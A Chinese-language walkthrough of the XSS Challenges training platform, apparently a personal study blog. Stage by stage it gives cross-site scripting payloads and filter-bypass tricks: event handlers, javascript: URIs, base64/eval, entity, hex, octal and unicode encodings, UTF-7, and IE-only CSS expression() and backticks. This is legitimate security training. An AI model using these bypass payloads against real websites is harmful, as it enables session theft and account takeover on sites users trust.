每个标题有超链的都是可以直接点击去做那一关,这样就用每次都从第一关开始做了。想做哪关做哪关。
以下来自XSS练习平台----XSS Challenges
这个练习平台没有像alert(1)to win类似的平台一样会给出关键的源代码,并且会在页面给予反馈。这是一个模仿真实xss挖洞的情景,在XSS Challenges练习过程中,我们需要用浏览器中的f12中搜索(),找出我们控制的代码所在的位置,然后思考那些个位置哪个或哪几个位置可以被注入我们想要的代码,然后结合上下文进行各种脑洞绕过。
在chorme中做题会被防火墙检测为危险代码,解决方案
在chrome中搜索,在f12中的的Element中用Ctrl+Shift+f调出搜索框,可以搜索这个页面用到的所有文本资源的字符串,也可以在Source中先在左边选中对应的文件夹后,用Ctrl+f调出搜索框搜索当前文件字符串
在firefox的话,我用了firebug,直接选中HTML或CSS或脚本,然后在右上方搜索框搜索
即可(选择脚本搜的最全)。
在IE的话,先选择调试程序,然后在右上方搜索框搜索即可。
(暂时知道那么多,还有什么补充的以后再更)
一般思路是测试,看哪些写法或字符被过滤了(单引号,双引号,尖括号,正反斜杠等等),然后构造攻击代码,另外一种方式就是去resources 中,去查看脚本,是哪个脚本执行了什么操作,让变量进入了标签,了解清楚了之后,可以对症下药的创造攻击向量。
闭合标签,只是JS伪协议(javascript:url),
含有JS伪协议的a标签,script代码,
事件(alert,onclick,onmouseover等等),
双写,编码绕过 base64编码eval() atob()函数,
html实体编码
unicode编码某个字符或者插入不可见字符	[是unicode编码后的tab],空格绕过(单词之中加空格),
16进制绕过(ascii码对应的16进制)
Stage #1
很简单,没有任何过滤,输出点在标签之间,闭合标签,构造新标签搞定。
参考payload:
dada"</b><script>alert(document.domain)</script> dada"</b><svg/onload=alert(document.domain)> dada"</b><IMG SRC=javascript:alert('XSS')>
Stage #2
参考payload:
" onmouseover=alert(document.domain)> "><script>alert(document.domain)</script>
Stage #3
第一个被转义了,用第二个参数
参考payload:
"><script>alert(document.domain)</script> <script>alert(document.domain)</script>
Stage #4
抓包尝试发现p1 p2都被过滤了 p3是隐藏的标签没被过滤
参考payload:
"><script>alert(document.domain)</script> "><svg/onload=alert(document.domain)>%0a
Stage #5
长度限制 抓包解决
参考payload:
dada"><script>alert(document.domain)</script> dada" onmouseover=javascript:alert(document.domain) dada" onmouseover=alert(document.domain) dada"><svg/onload=alert(document.domain)>
Stage #6
与Stage#2几乎一样,也是value参数,唯一不同的是过滤了<>,但没有过滤"(可以闭合前面的属性),这样我们就不可以用新的标签了,但我们可以在标签里面加新的属性,如 " οnmοuseοver=alert(document.domain) name="1类似这样的,onmouseover是把鼠标放在上面就执行的on时间,onclick之类的也是可以的。
参考payload:
dada" onmouseover=alert(document.domain) name="1 dada" onclick=alert(document.domain) name="1
Stage #7
和上一题很像,这个题把双引号<>都过滤了
参考payload:
test onmouseover=alert(document.domain) 但以下的也可以 不知道是不是浏览器原因 dada" onmouseover=alert(document.domain) dada" onmouseover=alert(document.domain) name="1 dada" onclick=alert(document.domain) name="1
但是从网上找到的却说是用的空格分割,也算误打误撞吧,
但是上面的payload只要加的双引号中间有空格隔开或者不让其紧挨着出现就可以成功,比如dada" onmouseover=alert(document.domain) " " "
。后来看了别人的WP才学习到了,并不是转以后的双引号起了分隔作用,而是双引号后面的空格,空格也可以分隔属性(记住要在空格前面随便加点什么,否则bp提包的时候会自动将空格省略)
Stage #8
题目是输入一条url,然后后台把它包在一个标签里,我们需要点击超链接然后弹窗。所以可以用js伪协议
Stage #9
这一关是利用utf-7编码的,需要环境是IE 7
我用了ie复现也是不能成功,留下个payload吧。
参考payload:
" onmouseover=alert(document.domain)> +/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
1.用可以识别UTF-7的IE浏览器
2.把抓包内容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
意思是我们提交UTF-7编码的py上去,然后浏览器UTF-7解码出利用py~~(我觉得出题者简直闲的蛋疼,不说现在没有利用utf-7的ie了,哪有什么网页的后台是只能解码utf-7的)
Stage #10
这个也是value注入点,直接在网页提交发现,题目把domain过滤掉了,所以用可以用双写绕过.
查看源代码,老是不小心看到提示:
s/script/xscript/ig; s/on[a-z]+=/onxxx=/ig; s/style=/stxxx=/ig;
发现过滤了不少东西,
1,script会被替换为xscript
2,on事件会被替换为onxxx
3,style会被替换为stxxx
尝试用tab制表(%09),换行(%0a,%0d,%0a%0d)等符号都不行。
参考payload:
双写绕过:"><script>alert(document.dodomainmain)</script> 编码绕过:"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>
Stage #11
也是value注入点,在网页中各种提交姿势试一下,发现script前面加个x,on事件全部不能用(题后看hint也证实了我的猜想)
想到除了on事件和script之外还能执行js的是构造a标签在超链中执行js。
构造"><a href=javascript:alert(document)>1</a><
,发现构造的语句中仍然有script,我们把之中的r进行html实体一下
提交之后f12看下:
发现被渲染成r了,成功弹窗。
(还可以在script中间插入	
,
,空格等不可见字符对script进行分割,让正则匹配不到)
参考payload:
"><a href=javascript:alert(document)>1</a><" "><a href=javascript:alert(document)>1</a><" "><a href=java	script:alert(document)>1</a><" //	 tab制表符html十进制编码 "><a href=javascri
pt:alert(document.domain)>test</a> //
是html5的换行符,:是冒号
但是用url编码编码r即"><a href=javasc%72ipt:alert(document)>1</a><"
查看后发现没有被渲染,但是弹窗,不知道为何。
Stage #12(IE)
利用IE特性`会呗当成单引号
照常尝试,还是value值,过滤了<>和",想用编码能不能绕过(因为过滤了<>",HTML实体是不行的,html实体不能让内容逃出来)
查看提示:
"s/[\x00-\x20\<\>\"\']//g;
把\x00-\x20的字符与及<,>,",'都替换为空。
想着还有什么能够替换空格呢?用 的话还是会没办法跳处value属性。
看了一下sherlock17 大佬的wp,发现了竟然还有一个符号,学到东西了。但是得在IE下才可以。
`
由于IE的特性,或者说浏览器竞争时代百家争鸣导致的结果,会把`解析为引号。
那么我们的payload可以是
``onmouseover=alert(1)
在IE下成功弹框
参考payload:
``onmouseover=alert(1)
IE
Stage #13(IE)
条件IE7.0 6.0 因为expression语法只存在IE中
照常转义了<>和",F12发现相比以往的题这道题多了一个style
属性,那肯定就是从这里入手了。百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码)
还有一种利用方法 background:url(javascript:alert('xss'));
参考payload:
xss:expresion(alert(document.doamin)) background:url(javascript:alert('document.domain')) xss:expr/*XSS*/ession(alert(document.domain));
Stage #14(IE)
还是考的style的东西,但这次增加了过滤。可以用CSS注释/**/
插入单词间,或html实体编码,但是&被转义了 。
s/(url|script|eval|expression)/xxx/ig;
把url,script,eval,expression关键字都替换为了xxx。
解法就是寻找黑名单之外的关键字,但是我们发现其实我们可以直接用上面的那个
payload:
xss:expr/*XSS*/ession(alert(document.domain));
Stage #15
<> " &被转义了 \被过滤了,所以不能构造html实体,和unicode编码了,但是输入\\
发现只过滤了一个,所以就用unicode编码了,(就是\\003c
和\\003e
代替<>换成十六进制编码也就是\\x3c
,\\x3e
也是可以的)
参考payload:
unicode 编码下面的payload <svg/onload=alert(document.domain)> \x3csvg\x2fonload=alert(document.domain)\x3e 因为会过滤一个\ 所以用: \\x3csvg\\x2fonload=alert(document.domain)\\x3e <script>alert(document.doamin)</script>同理 \\x3cscript\\x2falert=(document.doamin)\\x3c/script\\x2f 有几种方过滤的方法:(使用\\ 防止\被转义)字符的ascii码值对应的16进制, \x__ 16进制格式 第一种:换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e 第二种:换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e 这个是uncode编码方式 解码道方式如下: String a ="\u003C\u0066\u0072\u006F\u006D\u003E"; System.out.println(new String(a.getBytes(),"utf-8")); 结果:<from>
unicode解码:https://tool.chinaz.com/tools/unicode.aspx
Stage #16
提示说
"document.write();" and "s/\\x/\\\\x/ig;
把\\x
替换成了\\\\x
,但是js编码又不止16进制,还有八进制,unicode编码
看到又有document.write,试了试上题的利用代码,直接过了......看了下hint,发现是替换了\x,那与上题唯一的区别就是十六进制编码不能用了。ps:还有一种编码格式是八进制编码?和unicode编码
参考payload:
\\74img src=x οnerrοr=alert(document.domain)\\76 8进制的 \\u003cimg src=x onerror=alert(document.domain)\\u003e 16进制的unicode
Stage #17(IE 6)
题目说了只能在老ie上复现,那我们就直接看大佬WP好了。
类似于sql注入的宽字节注入,用%A7(%几都行,只要符合下面大佬WP中可以用来欺骗的编码)加上双引号的%34?让html自解码机制误认为这是宽字节字符,从而弄掉双引号。
半角片假名使用两个字节来表示:0x8E + 0xA1-0xDF
JIS X 0208字元使用两个字节来表示:0xA1-0xFE + 0xA1-0xFE
JIS X 0212字元使用三个字节来表示:0x8F + 0xA1-0xFE + 0xA1-0xFE
以上是百度找的,因为没有环境,所以没测试
Stage #18(IE 6)
看了一下别人的wp,17 18两关都是考的字符集的问题,且复现有浏览器要求需要在IE 6上复现。